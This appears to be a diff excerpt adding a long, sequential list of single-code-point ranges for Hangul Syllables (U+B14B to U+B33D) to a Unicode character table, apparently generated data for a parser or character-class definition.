+ ["\uB14B", "\uB14B"], /* Hangul Syllable */
+ ["\uB14C", "\uB14C"], /* Hangul Syllable */
+ ["\uB14D", "\uB14D"], /* Hangul Syllable */
+ ["\uB14E", "\uB14E"], /* Hangul Syllable */
+ ["\uB14F", "\uB14F"], /* Hangul Syllable */
+ ["\uB150", "\uB150"], /* Hangul Syllable */
+ ["\uB151", "\uB151"], /* Hangul Syllable */
+ ["\uB152", "\uB152"], /* Hangul Syllable */
+ ["\uB153", "\uB153"], /* Hangul Syllable */
+ ["\uB154", "\uB154"], /* Hangul Syllable */
+ ["\uB155", "\uB155"], /* Hangul Syllable */
+ ["\uB156", "\uB156"], /* Hangul Syllable */
+ ["\uB157", "\uB157"], /* Hangul Syllable */
+ ["\uB158", "\uB158"], /* Hangul Syllable */
+ ["\uB159", "\uB159"], /* Hangul Syllable */
+ ["\uB15A", "\uB15A"], /* Hangul Syllable */
+ ["\uB15B", "\uB15B"], /* Hangul Syllable */
+ ["\uB15C", "\uB15C"], /* Hangul Syllable */
+ ["\uB15D", "\uB15D"], /* Hangul Syllable */
+ ["\uB15E", "\uB15E"], /* Hangul Syllable */
+ ["\uB15F", "\uB15F"], /* Hangul Syllable */
+ ["\uB160", "\uB160"], /* Hangul Syllable */
+ ["\uB161", "\uB161"], /* Hangul Syllable */
+ ["\uB162", "\uB162"], /* Hangul Syllable */
+ ["\uB163", "\uB163"], /* Hangul Syllable */
+ ["\uB164", "\uB164"], /* Hangul Syllable */
+ ["\uB165", "\uB165"], /* Hangul Syllable */
+ ["\uB166", "\uB166"], /* Hangul Syllable */
+ ["\uB167", "\uB167"], /* Hangul Syllable */
+ ["\uB168", "\uB168"], /* Hangul Syllable */
+ ["\uB169", "\uB169"], /* Hangul Syllable */
+ ["\uB16A", "\uB16A"], /* Hangul Syllable */
+ ["\uB16B", "\uB16B"], /* Hangul Syllable */
+ ["\uB16C", "\uB16C"], /* Hangul Syllable */
+ ["\uB16D", "\uB16D"], /* Hangul Syllable */
+ ["\uB16E", "\uB16E"], /* Hangul Syllable */
+ ["\uB16F", "\uB16F"], /* Hangul Syllable */
+ ["\uB170", "\uB170"], /* Hangul Syllable */
+ ["\uB171", "\uB171"], /* Hangul Syllable */
+ ["\uB172", "\uB172"], /* Hangul Syllable */
+ ["\uB173", "\uB173"], /* Hangul Syllable */
+ ["\uB174", "\uB174"], /* Hangul Syllable */
+ ["\uB175", "\uB175"], /* Hangul Syllable */
+ ["\uB176", "\uB176"], /* Hangul Syllable */
+ ["\uB177", "\uB177"], /* Hangul Syllable */
+ ["\uB178", "\uB178"], /* Hangul Syllable */
+ ["\uB179", "\uB179"], /* Hangul Syllable */
+ ["\uB17A", "\uB17A"], /* Hangul Syllable */
+ ["\uB17B", "\uB17B"], /* Hangul Syllable */
+ ["\uB17C", "\uB17C"], /* Hangul Syllable */
+ ["\uB17D", "\uB17D"], /* Hangul Syllable */
+ ["\uB17E", "\uB17E"], /* Hangul Syllable */
+ ["\uB17F", "\uB17F"], /* Hangul Syllable */
+ ["\uB180", "\uB180"], /* Hangul Syllable */
+ ["\uB181", "\uB181"], /* Hangul Syllable */
+ ["\uB182", "\uB182"], /* Hangul Syllable */
+ ["\uB183", "\uB183"], /* Hangul Syllable */
+ ["\uB184", "\uB184"], /* Hangul Syllable */
+ ["\uB185", "\uB185"], /* Hangul Syllable */
+ ["\uB186", "\uB186"], /* Hangul Syllable */
+ ["\uB187", "\uB187"], /* Hangul Syllable */
+ ["\uB188", "\uB188"], /* Hangul Syllable */
+ ["\uB189", "\uB189"], /* Hangul Syllable */
+ ["\uB18A", "\uB18A"], /* Hangul Syllable */
+ ["\uB18B", "\uB18B"], /* Hangul Syllable */
+ ["\uB18C", "\uB18C"], /* Hangul Syllable */
+ ["\uB18D", "\uB18D"], /* Hangul Syllable */
+ ["\uB18E", "\uB18E"], /* Hangul Syllable */
+ ["\uB18F", "\uB18F"], /* Hangul Syllable */
+ ["\uB190", "\uB190"], /* Hangul Syllable */
+ ["\uB191", "\uB191"], /* Hangul Syllable */
+ ["\uB192", "\uB192"], /* Hangul Syllable */
+ ["\uB193", "\uB193"], /* Hangul Syllable */
+ ["\uB194", "\uB194"], /* Hangul Syllable */
+ ["\uB195", "\uB195"], /* Hangul Syllable */
+ ["\uB196", "\uB196"], /* Hangul Syllable */
+ ["\uB197", "\uB197"], /* Hangul Syllable */
+ ["\uB198", "\uB198"], /* Hangul Syllable */
+ ["\uB199", "\uB199"], /* Hangul Syllable */
+ ["\uB19A", "\uB19A"], /* Hangul Syllable */
+ ["\uB19B", "\uB19B"], /* Hangul Syllable */
+ ["\uB19C", "\uB19C"], /* Hangul Syllable */
+ ["\uB19D", "\uB19D"], /* Hangul Syllable */
+ ["\uB19E", "\uB19E"], /* Hangul Syllable */
+ ["\uB19F", "\uB19F"], /* Hangul Syllable */
+ ["\uB1A0", "\uB1A0"], /* Hangul Syllable */
+ ["\uB1A1", "\uB1A1"], /* Hangul Syllable */
+ ["\uB1A2", "\uB1A2"], /* Hangul Syllable */
+ ["\uB1A3", "\uB1A3"], /* Hangul Syllable */
+ ["\uB1A4", "\uB1A4"], /* Hangul Syllable */
+ ["\uB1A5", "\uB1A5"], /* Hangul Syllable */
+ ["\uB1A6", "\uB1A6"], /* Hangul Syllable */
+ ["\uB1A7", "\uB1A7"], /* Hangul Syllable */
+ ["\uB1A8", "\uB1A8"], /* Hangul Syllable */
+ ["\uB1A9", "\uB1A9"], /* Hangul Syllable */
+ ["\uB1AA", "\uB1AA"], /* Hangul Syllable */
+ ["\uB1AB", "\uB1AB"], /* Hangul Syllable */
+ ["\uB1AC", "\uB1AC"], /* Hangul Syllable */
+ ["\uB1AD", "\uB1AD"], /* Hangul Syllable */
+ ["\uB1AE", "\uB1AE"], /* Hangul Syllable */
+ ["\uB1AF", "\uB1AF"], /* Hangul Syllable */
+ ["\uB1B0", "\uB1B0"], /* Hangul Syllable */
+ ["\uB1B1", "\uB1B1"], /* Hangul Syllable */
+ ["\uB1B2", "\uB1B2"], /* Hangul Syllable */
+ ["\uB1B3", "\uB1B3"], /* Hangul Syllable */
+ ["\uB1B4", "\uB1B4"], /* Hangul Syllable */
+ ["\uB1B5", "\uB1B5"], /* Hangul Syllable */
+ ["\uB1B6", "\uB1B6"], /* Hangul Syllable */
+ ["\uB1B7", "\uB1B7"], /* Hangul Syllable */
+ ["\uB1B8", "\uB1B8"], /* Hangul Syllable */
+ ["\uB1B9", "\uB1B9"], /* Hangul Syllable */
+ ["\uB1BA", "\uB1BA"], /* Hangul Syllable */
+ ["\uB1BB", "\uB1BB"], /* Hangul Syllable */
+ ["\uB1BC", "\uB1BC"], /* Hangul Syllable */
+ ["\uB1BD", "\uB1BD"], /* Hangul Syllable */
+ ["\uB1BE", "\uB1BE"], /* Hangul Syllable */
+ ["\uB1BF", "\uB1BF"], /* Hangul Syllable */
+ ["\uB1C0", "\uB1C0"], /* Hangul Syllable */
+ ["\uB1C1", "\uB1C1"], /* Hangul Syllable */
+ ["\uB1C2", "\uB1C2"], /* Hangul Syllable */
+ ["\uB1C3", "\uB1C3"], /* Hangul Syllable */
+ ["\uB1C4", "\uB1C4"], /* Hangul Syllable */
+ ["\uB1C5", "\uB1C5"], /* Hangul Syllable */
+ ["\uB1C6", "\uB1C6"], /* Hangul Syllable */
+ ["\uB1C7", "\uB1C7"], /* Hangul Syllable */
+ ["\uB1C8", "\uB1C8"], /* Hangul Syllable */
+ ["\uB1C9", "\uB1C9"], /* Hangul Syllable */
+ ["\uB1CA", "\uB1CA"], /* Hangul Syllable */
+ ["\uB1CB", "\uB1CB"], /* Hangul Syllable */
+ ["\uB1CC", "\uB1CC"], /* Hangul Syllable */
+ ["\uB1CD", "\uB1CD"], /* Hangul Syllable */
+ ["\uB1CE", "\uB1CE"], /* Hangul Syllable */
+ ["\uB1CF", "\uB1CF"], /* Hangul Syllable */
+ ["\uB1D0", "\uB1D0"], /* Hangul Syllable */
+ ["\uB1D1", "\uB1D1"], /* Hangul Syllable */
+ ["\uB1D2", "\uB1D2"], /* Hangul Syllable */
+ ["\uB1D3", "\uB1D3"], /* Hangul Syllable */
+ ["\uB1D4", "\uB1D4"], /* Hangul Syllable */
+ ["\uB1D5", "\uB1D5"], /* Hangul Syllable */
+ ["\uB1D6", "\uB1D6"], /* Hangul Syllable */
+ ["\uB1D7", "\uB1D7"], /* Hangul Syllable */
+ ["\uB1D8", "\uB1D8"], /* Hangul Syllable */
+ ["\uB1D9", "\uB1D9"], /* Hangul Syllable */
+ ["\uB1DA", "\uB1DA"], /* Hangul Syllable */
+ ["\uB1DB", "\uB1DB"], /* Hangul Syllable */
+ ["\uB1DC", "\uB1DC"], /* Hangul Syllable */
+ ["\uB1DD", "\uB1DD"], /* Hangul Syllable */
+ ["\uB1DE", "\uB1DE"], /* Hangul Syllable */
+ ["\uB1DF", "\uB1DF"], /* Hangul Syllable */
+ ["\uB1E0", "\uB1E0"], /* Hangul Syllable */
+ ["\uB1E1", "\uB1E1"], /* Hangul Syllable */
+ ["\uB1E2", "\uB1E2"], /* Hangul Syllable */
+ ["\uB1E3", "\uB1E3"], /* Hangul Syllable */
+ ["\uB1E4", "\uB1E4"], /* Hangul Syllable */
+ ["\uB1E5", "\uB1E5"], /* Hangul Syllable */
+ ["\uB1E6", "\uB1E6"], /* Hangul Syllable */
+ ["\uB1E7", "\uB1E7"], /* Hangul Syllable */
+ ["\uB1E8", "\uB1E8"], /* Hangul Syllable */
+ ["\uB1E9", "\uB1E9"], /* Hangul Syllable */
+ ["\uB1EA", "\uB1EA"], /* Hangul Syllable */
+ ["\uB1EB", "\uB1EB"], /* Hangul Syllable */
+ ["\uB1EC", "\uB1EC"], /* Hangul Syllable */
+ ["\uB1ED", "\uB1ED"], /* Hangul Syllable */
+ ["\uB1EE", "\uB1EE"], /* Hangul Syllable */
+ ["\uB1EF", "\uB1EF"], /* Hangul Syllable */
+ ["\uB1F0", "\uB1F0"], /* Hangul Syllable */
+ ["\uB1F1", "\uB1F1"], /* Hangul Syllable */
+ ["\uB1F2", "\uB1F2"], /* Hangul Syllable */
+ ["\uB1F3", "\uB1F3"], /* Hangul Syllable */
+ ["\uB1F4", "\uB1F4"], /* Hangul Syllable */
+ ["\uB1F5", "\uB1F5"], /* Hangul Syllable */
+ ["\uB1F6", "\uB1F6"], /* Hangul Syllable */
+ ["\uB1F7", "\uB1F7"], /* Hangul Syllable */
+ ["\uB1F8", "\uB1F8"], /* Hangul Syllable */
+ ["\uB1F9", "\uB1F9"], /* Hangul Syllable */
+ ["\uB1FA", "\uB1FA"], /* Hangul Syllable */
+ ["\uB1FB", "\uB1FB"], /* Hangul Syllable */
+ ["\uB1FC", "\uB1FC"], /* Hangul Syllable */
+ ["\uB1FD", "\uB1FD"], /* Hangul Syllable */
+ ["\uB1FE", "\uB1FE"], /* Hangul Syllable */
+ ["\uB1FF", "\uB1FF"], /* Hangul Syllable */
+ ["\uB200", "\uB200"], /* Hangul Syllable */
+ ["\uB201", "\uB201"], /* Hangul Syllable */
+ ["\uB202", "\uB202"], /* Hangul Syllable */
+ ["\uB203", "\uB203"], /* Hangul Syllable */
+ ["\uB204", "\uB204"], /* Hangul Syllable */
+ ["\uB205", "\uB205"], /* Hangul Syllable */
+ ["\uB206", "\uB206"], /* Hangul Syllable */
+ ["\uB207", "\uB207"], /* Hangul Syllable */
+ ["\uB208", "\uB208"], /* Hangul Syllable */
+ ["\uB209", "\uB209"], /* Hangul Syllable */
+ ["\uB20A", "\uB20A"], /* Hangul Syllable */
+ ["\uB20B", "\uB20B"], /* Hangul Syllable */
+ ["\uB20C", "\uB20C"], /* Hangul Syllable */
+ ["\uB20D", "\uB20D"], /* Hangul Syllable */
+ ["\uB20E", "\uB20E"], /* Hangul Syllable */
+ ["\uB20F", "\uB20F"], /* Hangul Syllable */
+ ["\uB210", "\uB210"], /* Hangul Syllable */
+ ["\uB211", "\uB211"], /* Hangul Syllable */
+ ["\uB212", "\uB212"], /* Hangul Syllable */
+ ["\uB213", "\uB213"], /* Hangul Syllable */
+ ["\uB214", "\uB214"], /* Hangul Syllable */
+ ["\uB215", "\uB215"], /* Hangul Syllable */
+ ["\uB216", "\uB216"], /* Hangul Syllable */
+ ["\uB217", "\uB217"], /* Hangul Syllable */
+ ["\uB218", "\uB218"], /* Hangul Syllable */
+ ["\uB219", "\uB219"], /* Hangul Syllable */
+ ["\uB21A", "\uB21A"], /* Hangul Syllable */
+ ["\uB21B", "\uB21B"], /* Hangul Syllable */
+ ["\uB21C", "\uB21C"], /* Hangul Syllable */
+ ["\uB21D", "\uB21D"], /* Hangul Syllable */
+ ["\uB21E", "\uB21E"], /* Hangul Syllable */
+ ["\uB21F", "\uB21F"], /* Hangul Syllable */
+ ["\uB220", "\uB220"], /* Hangul Syllable */
+ ["\uB221", "\uB221"], /* Hangul Syllable */
+ ["\uB222", "\uB222"], /* Hangul Syllable */
+ ["\uB223", "\uB223"], /* Hangul Syllable */
+ ["\uB224", "\uB224"], /* Hangul Syllable */
+ ["\uB225", "\uB225"], /* Hangul Syllable */
+ ["\uB226", "\uB226"], /* Hangul Syllable */
+ ["\uB227", "\uB227"], /* Hangul Syllable */
+ ["\uB228", "\uB228"], /* Hangul Syllable */
+ ["\uB229", "\uB229"], /* Hangul Syllable */
+ ["\uB22A", "\uB22A"], /* Hangul Syllable */
+ ["\uB22B", "\uB22B"], /* Hangul Syllable */
+ ["\uB22C", "\uB22C"], /* Hangul Syllable */
+ ["\uB22D", "\uB22D"], /* Hangul Syllable */
+ ["\uB22E", "\uB22E"], /* Hangul Syllable */
+ ["\uB22F", "\uB22F"], /* Hangul Syllable */
+ ["\uB230", "\uB230"], /* Hangul Syllable */
+ ["\uB231", "\uB231"], /* Hangul Syllable */
+ ["\uB232", "\uB232"], /* Hangul Syllable */
+ ["\uB233", "\uB233"], /* Hangul Syllable */
+ ["\uB234", "\uB234"], /* Hangul Syllable */
+ ["\uB235", "\uB235"], /* Hangul Syllable */
+ ["\uB236", "\uB236"], /* Hangul Syllable */
+ ["\uB237", "\uB237"], /* Hangul Syllable */
+ ["\uB238", "\uB238"], /* Hangul Syllable */
+ ["\uB239", "\uB239"], /* Hangul Syllable */
+ ["\uB23A", "\uB23A"], /* Hangul Syllable */
+ ["\uB23B", "\uB23B"], /* Hangul Syllable */
+ ["\uB23C", "\uB23C"], /* Hangul Syllable */
+ ["\uB23D", "\uB23D"], /* Hangul Syllable */
+ ["\uB23E", "\uB23E"], /* Hangul Syllable */
+ ["\uB23F", "\uB23F"], /* Hangul Syllable */
+ ["\uB240", "\uB240"], /* Hangul Syllable */
+ ["\uB241", "\uB241"], /* Hangul Syllable */
+ ["\uB242", "\uB242"], /* Hangul Syllable */
+ ["\uB243", "\uB243"], /* Hangul Syllable */
+ ["\uB244", "\uB244"], /* Hangul Syllable */
+ ["\uB245", "\uB245"], /* Hangul Syllable */
+ ["\uB246", "\uB246"], /* Hangul Syllable */
+ ["\uB247", "\uB247"], /* Hangul Syllable */
+ ["\uB248", "\uB248"], /* Hangul Syllable */
+ ["\uB249", "\uB249"], /* Hangul Syllable */
+ ["\uB24A", "\uB24A"], /* Hangul Syllable */
+ ["\uB24B", "\uB24B"], /* Hangul Syllable */
+ ["\uB24C", "\uB24C"], /* Hangul Syllable */
+ ["\uB24D", "\uB24D"], /* Hangul Syllable */
+ ["\uB24E", "\uB24E"], /* Hangul Syllable */
+ ["\uB24F", "\uB24F"], /* Hangul Syllable */
+ ["\uB250", "\uB250"], /* Hangul Syllable */
+ ["\uB251", "\uB251"], /* Hangul Syllable */
+ ["\uB252", "\uB252"], /* Hangul Syllable */
+ ["\uB253", "\uB253"], /* Hangul Syllable */
+ ["\uB254", "\uB254"], /* Hangul Syllable */
+ ["\uB255", "\uB255"], /* Hangul Syllable */
+ ["\uB256", "\uB256"], /* Hangul Syllable */
+ ["\uB257", "\uB257"], /* Hangul Syllable */
+ ["\uB258", "\uB258"], /* Hangul Syllable */
+ ["\uB259", "\uB259"], /* Hangul Syllable */
+ ["\uB25A", "\uB25A"], /* Hangul Syllable */
+ ["\uB25B", "\uB25B"], /* Hangul Syllable */
+ ["\uB25C", "\uB25C"], /* Hangul Syllable */
+ ["\uB25D", "\uB25D"], /* Hangul Syllable */
+ ["\uB25E", "\uB25E"], /* Hangul Syllable */
+ ["\uB25F", "\uB25F"], /* Hangul Syllable */
+ ["\uB260", "\uB260"], /* Hangul Syllable */
+ ["\uB261", "\uB261"], /* Hangul Syllable */
+ ["\uB262", "\uB262"], /* Hangul Syllable */
+ ["\uB263", "\uB263"], /* Hangul Syllable */
+ ["\uB264", "\uB264"], /* Hangul Syllable */
+ ["\uB265", "\uB265"], /* Hangul Syllable */
+ ["\uB266", "\uB266"], /* Hangul Syllable */
+ ["\uB267", "\uB267"], /* Hangul Syllable */
+ ["\uB268", "\uB268"], /* Hangul Syllable */
+ ["\uB269", "\uB269"], /* Hangul Syllable */
+ ["\uB26A", "\uB26A"], /* Hangul Syllable */
+ ["\uB26B", "\uB26B"], /* Hangul Syllable */
+ ["\uB26C", "\uB26C"], /* Hangul Syllable */
+ ["\uB26D", "\uB26D"], /* Hangul Syllable */
+ ["\uB26E", "\uB26E"], /* Hangul Syllable */
+ ["\uB26F", "\uB26F"], /* Hangul Syllable */
+ ["\uB270", "\uB270"], /* Hangul Syllable */
+ ["\uB271", "\uB271"], /* Hangul Syllable */
+ ["\uB272", "\uB272"], /* Hangul Syllable */
+ ["\uB273", "\uB273"], /* Hangul Syllable */
+ ["\uB274", "\uB274"], /* Hangul Syllable */
+ ["\uB275", "\uB275"], /* Hangul Syllable */
+ ["\uB276", "\uB276"], /* Hangul Syllable */
+ ["\uB277", "\uB277"], /* Hangul Syllable */
+ ["\uB278", "\uB278"], /* Hangul Syllable */
+ ["\uB279", "\uB279"], /* Hangul Syllable */
+ ["\uB27A", "\uB27A"], /* Hangul Syllable */
+ ["\uB27B", "\uB27B"], /* Hangul Syllable */
+ ["\uB27C", "\uB27C"], /* Hangul Syllable */
+ ["\uB27D", "\uB27D"], /* Hangul Syllable */
+ ["\uB27E", "\uB27E"], /* Hangul Syllable */
+ ["\uB27F", "\uB27F"], /* Hangul Syllable */
+ ["\uB280", "\uB280"], /* Hangul Syllable */
+ ["\uB281", "\uB281"], /* Hangul Syllable */
+ ["\uB282", "\uB282"], /* Hangul Syllable */
+ ["\uB283", "\uB283"], /* Hangul Syllable */
+ ["\uB284", "\uB284"], /* Hangul Syllable */
+ ["\uB285", "\uB285"], /* Hangul Syllable */
+ ["\uB286", "\uB286"], /* Hangul Syllable */
+ ["\uB287", "\uB287"], /* Hangul Syllable */
+ ["\uB288", "\uB288"], /* Hangul Syllable */
+ ["\uB289", "\uB289"], /* Hangul Syllable */
+ ["\uB28A", "\uB28A"], /* Hangul Syllable */
+ ["\uB28B", "\uB28B"], /* Hangul Syllable */
+ ["\uB28C", "\uB28C"], /* Hangul Syllable */
+ ["\uB28D", "\uB28D"], /* Hangul Syllable */
+ ["\uB28E", "\uB28E"], /* Hangul Syllable */
+ ["\uB28F", "\uB28F"], /* Hangul Syllable */
+ ["\uB290", "\uB290"], /* Hangul Syllable */
+ ["\uB291", "\uB291"], /* Hangul Syllable */
+ ["\uB292", "\uB292"], /* Hangul Syllable */
+ ["\uB293", "\uB293"], /* Hangul Syllable */
+ ["\uB294", "\uB294"], /* Hangul Syllable */
+ ["\uB295", "\uB295"], /* Hangul Syllable */
+ ["\uB296", "\uB296"], /* Hangul Syllable */
+ ["\uB297", "\uB297"], /* Hangul Syllable */
+ ["\uB298", "\uB298"], /* Hangul Syllable */
+ ["\uB299", "\uB299"], /* Hangul Syllable */
+ ["\uB29A", "\uB29A"], /* Hangul Syllable */
+ ["\uB29B", "\uB29B"], /* Hangul Syllable */
+ ["\uB29C", "\uB29C"], /* Hangul Syllable */
+ ["\uB29D", "\uB29D"], /* Hangul Syllable */
+ ["\uB29E", "\uB29E"], /* Hangul Syllable */
+ ["\uB29F", "\uB29F"], /* Hangul Syllable */
+ ["\uB2A0", "\uB2A0"], /* Hangul Syllable */
+ ["\uB2A1", "\uB2A1"], /* Hangul Syllable */
+ ["\uB2A2", "\uB2A2"], /* Hangul Syllable */
+ ["\uB2A3", "\uB2A3"], /* Hangul Syllable */
+ ["\uB2A4", "\uB2A4"], /* Hangul Syllable */
+ ["\uB2A5", "\uB2A5"], /* Hangul Syllable */
+ ["\uB2A6", "\uB2A6"], /* Hangul Syllable */
+ ["\uB2A7", "\uB2A7"], /* Hangul Syllable */
+ ["\uB2A8", "\uB2A8"], /* Hangul Syllable */
+ ["\uB2A9", "\uB2A9"], /* Hangul Syllable */
+ ["\uB2AA", "\uB2AA"], /* Hangul Syllable */
+ ["\uB2AB", "\uB2AB"], /* Hangul Syllable */
+ ["\uB2AC", "\uB2AC"], /* Hangul Syllable */
+ ["\uB2AD", "\uB2AD"], /* Hangul Syllable */
+ ["\uB2AE", "\uB2AE"], /* Hangul Syllable */
+ ["\uB2AF", "\uB2AF"], /* Hangul Syllable */
+ ["\uB2B0", "\uB2B0"], /* Hangul Syllable */
+ ["\uB2B1", "\uB2B1"], /* Hangul Syllable */
+ ["\uB2B2", "\uB2B2"], /* Hangul Syllable */
+ ["\uB2B3", "\uB2B3"], /* Hangul Syllable */
+ ["\uB2B4", "\uB2B4"], /* Hangul Syllable */
+ ["\uB2B5", "\uB2B5"], /* Hangul Syllable */
+ ["\uB2B6", "\uB2B6"], /* Hangul Syllable */
+ ["\uB2B7", "\uB2B7"], /* Hangul Syllable */
+ ["\uB2B8", "\uB2B8"], /* Hangul Syllable */
+ ["\uB2B9", "\uB2B9"], /* Hangul Syllable */
+ ["\uB2BA", "\uB2BA"], /* Hangul Syllable */
+ ["\uB2BB", "\uB2BB"], /* Hangul Syllable */
+ ["\uB2BC", "\uB2BC"], /* Hangul Syllable */
+ ["\uB2BD", "\uB2BD"], /* Hangul Syllable */
+ ["\uB2BE", "\uB2BE"], /* Hangul Syllable */
+ ["\uB2BF", "\uB2BF"], /* Hangul Syllable */
+ ["\uB2C0", "\uB2C0"], /* Hangul Syllable */
+ ["\uB2C1", "\uB2C1"], /* Hangul Syllable */
+ ["\uB2C2", "\uB2C2"], /* Hangul Syllable */
+ ["\uB2C3", "\uB2C3"], /* Hangul Syllable */
+ ["\uB2C4", "\uB2C4"], /* Hangul Syllable */
+ ["\uB2C5", "\uB2C5"], /* Hangul Syllable */
+ ["\uB2C6", "\uB2C6"], /* Hangul Syllable */
+ ["\uB2C7", "\uB2C7"], /* Hangul Syllable */
+ ["\uB2C8", "\uB2C8"], /* Hangul Syllable */
+ ["\uB2C9", "\uB2C9"], /* Hangul Syllable */
+ ["\uB2CA", "\uB2CA"], /* Hangul Syllable */
+ ["\uB2CB", "\uB2CB"], /* Hangul Syllable */
+ ["\uB2CC", "\uB2CC"], /* Hangul Syllable */
+ ["\uB2CD", "\uB2CD"], /* Hangul Syllable */
+ ["\uB2CE", "\uB2CE"], /* Hangul Syllable */
+ ["\uB2CF", "\uB2CF"], /* Hangul Syllable */
+ ["\uB2D0", "\uB2D0"], /* Hangul Syllable */
+ ["\uB2D1", "\uB2D1"], /* Hangul Syllable */
+ ["\uB2D2", "\uB2D2"], /* Hangul Syllable */
+ ["\uB2D3", "\uB2D3"], /* Hangul Syllable */
+ ["\uB2D4", "\uB2D4"], /* Hangul Syllable */
+ ["\uB2D5", "\uB2D5"], /* Hangul Syllable */
+ ["\uB2D6", "\uB2D6"], /* Hangul Syllable */
+ ["\uB2D7", "\uB2D7"], /* Hangul Syllable */
+ ["\uB2D8", "\uB2D8"], /* Hangul Syllable */
+ ["\uB2D9", "\uB2D9"], /* Hangul Syllable */
+ ["\uB2DA", "\uB2DA"], /* Hangul Syllable */
+ ["\uB2DB", "\uB2DB"], /* Hangul Syllable */
+ ["\uB2DC", "\uB2DC"], /* Hangul Syllable */
+ ["\uB2DD", "\uB2DD"], /* Hangul Syllable */
+ ["\uB2DE", "\uB2DE"], /* Hangul Syllable */
+ ["\uB2DF", "\uB2DF"], /* Hangul Syllable */
+ ["\uB2E0", "\uB2E0"], /* Hangul Syllable */
+ ["\uB2E1", "\uB2E1"], /* Hangul Syllable */
+ ["\uB2E2", "\uB2E2"], /* Hangul Syllable */
+ ["\uB2E3", "\uB2E3"], /* Hangul Syllable */
+ ["\uB2E4", "\uB2E4"], /* Hangul Syllable */
+ ["\uB2E5", "\uB2E5"], /* Hangul Syllable */
+ ["\uB2E6", "\uB2E6"], /* Hangul Syllable */
+ ["\uB2E7", "\uB2E7"], /* Hangul Syllable */
+ ["\uB2E8", "\uB2E8"], /* Hangul Syllable */
+ ["\uB2E9", "\uB2E9"], /* Hangul Syllable */
+ ["\uB2EA", "\uB2EA"], /* Hangul Syllable */
+ ["\uB2EB", "\uB2EB"], /* Hangul Syllable */
+ ["\uB2EC", "\uB2EC"], /* Hangul Syllable */
+ ["\uB2ED", "\uB2ED"], /* Hangul Syllable */
+ ["\uB2EE", "\uB2EE"], /* Hangul Syllable */
+ ["\uB2EF", "\uB2EF"], /* Hangul Syllable */
+ ["\uB2F0", "\uB2F0"], /* Hangul Syllable */
+ ["\uB2F1", "\uB2F1"], /* Hangul Syllable */
+ ["\uB2F2", "\uB2F2"], /* Hangul Syllable */
+ ["\uB2F3", "\uB2F3"], /* Hangul Syllable */
+ ["\uB2F4", "\uB2F4"], /* Hangul Syllable */
+ ["\uB2F5", "\uB2F5"], /* Hangul Syllable */
+ ["\uB2F6", "\uB2F6"], /* Hangul Syllable */
+ ["\uB2F7", "\uB2F7"], /* Hangul Syllable */
+ ["\uB2F8", "\uB2F8"], /* Hangul Syllable */
+ ["\uB2F9", "\uB2F9"], /* Hangul Syllable */
+ ["\uB2FA", "\uB2FA"], /* Hangul Syllable */
+ ["\uB2FB", "\uB2FB"], /* Hangul Syllable */
+ ["\uB2FC", "\uB2FC"], /* Hangul Syllable */
+ ["\uB2FD", "\uB2FD"], /* Hangul Syllable */
+ ["\uB2FE", "\uB2FE"], /* Hangul Syllable */
+ ["\uB2FF", "\uB2FF"], /* Hangul Syllable */
+ ["\uB300", "\uB300"], /* Hangul Syllable */
+ ["\uB301", "\uB301"], /* Hangul Syllable */
+ ["\uB302", "\uB302"], /* Hangul Syllable */
+ ["\uB303", "\uB303"], /* Hangul Syllable */
+ ["\uB304", "\uB304"], /* Hangul Syllable */
+ ["\uB305", "\uB305"], /* Hangul Syllable */
+ ["\uB306", "\uB306"], /* Hangul Syllable */
+ ["\uB307", "\uB307"], /* Hangul Syllable */
+ ["\uB308", "\uB308"], /* Hangul Syllable */
+ ["\uB309", "\uB309"], /* Hangul Syllable */
+ ["\uB30A", "\uB30A"], /* Hangul Syllable */
+ ["\uB30B", "\uB30B"], /* Hangul Syllable */
+ ["\uB30C", "\uB30C"], /* Hangul Syllable */
+ ["\uB30D", "\uB30D"], /* Hangul Syllable */
+ ["\uB30E", "\uB30E"], /* Hangul Syllable */
+ ["\uB30F", "\uB30F"], /* Hangul Syllable */
+ ["\uB310", "\uB310"], /* Hangul Syllable */
+ ["\uB311", "\uB311"], /* Hangul Syllable */
+ ["\uB312", "\uB312"], /* Hangul Syllable */
+ ["\uB313", "\uB313"], /* Hangul Syllable */
+ ["\uB314", "\uB314"], /* Hangul Syllable */
+ ["\uB315", "\uB315"], /* Hangul Syllable */
+ ["\uB316", "\uB316"], /* Hangul Syllable */
+ ["\uB317", "\uB317"], /* Hangul Syllable */
+ ["\uB318", "\uB318"], /* Hangul Syllable */
+ ["\uB319", "\uB319"], /* Hangul Syllable */
+ ["\uB31A", "\uB31A"], /* Hangul Syllable */
+ ["\uB31B", "\uB31B"], /* Hangul Syllable */
+ ["\uB31C", "\uB31C"], /* Hangul Syllable */
+ ["\uB31D", "\uB31D"], /* Hangul Syllable */
+ ["\uB31E", "\uB31E"], /* Hangul Syllable */
+ ["\uB31F", "\uB31F"], /* Hangul Syllable */
+ ["\uB320", "\uB320"], /* Hangul Syllable */
+ ["\uB321", "\uB321"], /* Hangul Syllable */
+ ["\uB322", "\uB322"], /* Hangul Syllable */
+ ["\uB323", "\uB323"], /* Hangul Syllable */
+ ["\uB324", "\uB324"], /* Hangul Syllable */
+ ["\uB325", "\uB325"], /* Hangul Syllable */
+ ["\uB326", "\uB326"], /* Hangul Syllable */
+ ["\uB327", "\uB327"], /* Hangul Syllable */
+ ["\uB328", "\uB328"], /* Hangul Syllable */
+ ["\uB329", "\uB329"], /* Hangul Syllable */
+ ["\uB32A", "\uB32A"], /* Hangul Syllable */
+ ["\uB32B", "\uB32B"], /* Hangul Syllable */
+ ["\uB32C", "\uB32C"], /* Hangul Syllable */
+ ["\uB32D", "\uB32D"], /* Hangul Syllable */
+ ["\uB32E", "\uB32E"], /* Hangul Syllable */
+ ["\uB32F", "\uB32F"], /* Hangul Syllable */
+ ["\uB330", "\uB330"], /* Hangul Syllable */
+ ["\uB331", "\uB331"], /* Hangul Syllable */
+ ["\uB332", "\uB332"], /* Hangul Syllable */
+ ["\uB333", "\uB333"], /* Hangul Syllable */
+ ["\uB334", "\uB334"], /* Hangul Syllable */
+ ["\uB335", "\uB335"], /* Hangul Syllable */
+ ["\uB336", "\uB336"], /* Hangul Syllable */
+ ["\uB337", "\uB337"], /* Hangul Syllable */
+ ["\uB338", "\uB338"], /* Hangul Syllable */
+ ["\uB339", "\uB339"], /* Hangul Syllable */
+ ["\uB33A", "\uB33A"], /* Hangul Syllable */
+ ["\uB33B", "\uB33B"], /* Hangul Syllable */
+ ["\uB33C", "\uB33C"], /* Hangul Syllable */
+ ["\uB33D", "\uB33D"], /* Hangul Syllable */
